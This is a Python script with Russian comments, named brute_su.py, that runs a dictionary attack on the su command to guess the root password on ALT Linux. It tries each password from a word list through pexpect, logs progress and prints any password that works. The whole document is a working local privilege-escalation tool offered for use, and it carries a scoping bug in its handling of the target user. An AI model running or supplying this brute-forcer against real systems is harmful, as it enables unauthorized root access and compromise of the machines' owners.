Загрузка данных


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# brute_su.py - подбор пароля для su в ALT Linux (PAM)

import pexpect
import sys
import time
import logging
from datetime import datetime

# ---------- НАСТРОЙКИ ----------
TARGET_USER = "root"          # пользователь, под которым su
PASS_FILE = "passwords.txt"   # словарь (одна строка - пароль)
DELAY_ON_FAIL = 0.2           # секунды между попытками (PAM может добавить больше)
LOG_FILE = "brute_su.log"
# -----------------------------

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format='%(asctime)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)

def try_password(user, password):
    """Возвращает True, если пароль принят su"""
    # Команда-маркер: 'echo OK' — выход 0, если пароль верен
    cmd = f'su -c "echo OK" {user}'
    try:
        child = pexpect.spawn(cmd, timeout=3, encoding='utf-8')
        # Ожидаем запроса пароля (на русском или английском)
        i = child.expect_exact(['Пароль:', 'Password:', pexpect.EOF, pexpect.TIMEOUT], timeout=2)
        if i == 0 or i == 1:
            child.sendline(password)
            idx = child.expect_exact(['OK', 'Permission denied', 'Неверный пароль',
                                      'su: Authentication failure', pexpect.EOF, pexpect.TIMEOUT],
                                     timeout=2)
            if idx == 0:
                return True
            else:
                return False
        else:
            # su не запросил пароль — возможно, уже root или ошибка
            return False
    except pexpect.TIMEOUT:
        logging.warning(f"Timeout для пароля {password[:4]}***")
        return False
    except Exception as e:
        logging.error(f"Ошибка: {str(e)}")
        return False

def main():
    if len(sys.argv) > 1:
        TARGET_USER = sys.argv[1]
    print(f"[*] Цель: su -> {TARGET_USER}")
    print(f"[*] Словарь: {PASS_FILE}")
    print("[*] Начинаем перебор... (Ctrl+C для остановки)")

    try:
        with open(PASS_FILE, 'r', encoding='utf-8', errors='ignore') as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] Файл {PASS_FILE} не найден")
        sys.exit(1)

    total = len(passwords)
    start_time = time.time()
    attempts = 0

    for idx, pwd in enumerate(passwords, 1):
        attempts += 1
        # Прогресс в консоль
        if idx % 100 == 0:
            print(f"[*] Прогресс: {idx}/{total} ({idx/total:.1%})")
        # Проверка пароля
        if try_password(TARGET_USER, pwd):
            print(f"\n[+] УСПЕХ! Пароль: {pwd}")
            logging.info(f"УСПЕХ - {TARGET_USER}:{pwd}")
            # Доп. проверка: su -c "whoami" и вывод
            import subprocess
            print("[*] Проверка: su -c 'whoami' с найденным паролем")
            # Здесь можно выполнить фактический вход
            break
        else:
            # Логируем неудачу (опционально)
            if attempts % 1000 == 0:
                logging.info(f"Попыток: {attempts}, последний пароль: {pwd[:4]}***")
        # Задержка между попытками (чтобы не перегружать PAM)
        time.sleep(DELAY_ON_FAIL)

    elapsed = time.time() - start_time
    print(f"\n[*] Завершено за {elapsed:.1f} сек. Попыток: {attempts}")
    logging.info(f"Завершено: попыток {attempts}, время {elapsed:.1f} сек")

if __name__ == "__main__":
    main()